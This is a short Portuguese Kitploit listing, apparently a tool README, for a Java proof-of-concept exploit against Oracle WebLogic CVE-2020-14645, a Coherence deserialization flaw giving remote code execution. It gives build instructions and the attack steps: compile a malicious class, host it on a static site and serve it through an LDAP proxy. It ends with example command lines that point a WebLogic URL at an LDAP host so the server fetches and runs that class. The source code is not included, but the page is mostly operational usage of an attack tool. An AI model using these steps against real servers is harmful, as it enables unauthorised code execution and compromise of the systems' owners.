Weblogic_CVE-2020-14645 — PoC em Java para RCE por desserialização do Coherence do WebLogic CVE-2020-14645. Hospeda uma classe maliciosa via LDAP e dispara execução remota de código em servidores WebLogic vulneráveis. | Kitploit

Compartilhar

Weblogic CVE-2020-14645 coherence desserialização vulnerabilidade programa de verificação

Ambiente

Maven 3
JDK 1.8

Compilação

mvn package

Uso

Etapas específicas de teste:

Escrever o POC
Compilar o POC para um arquivo class
Iniciar um site estático para publicar o POC compilado
Iniciar um proxy LDAP para encaminhar as requisições do alvo de teste ao buscar o POC
Executar o programa de teste

Como esta vulnerabilidade é semelhante à vulnerabilidade Apache Dubbo, consulte esta vulnerabilidade para implementar as etapas 1-4.

Execução do programa de teste

java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL

# Exemplo
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002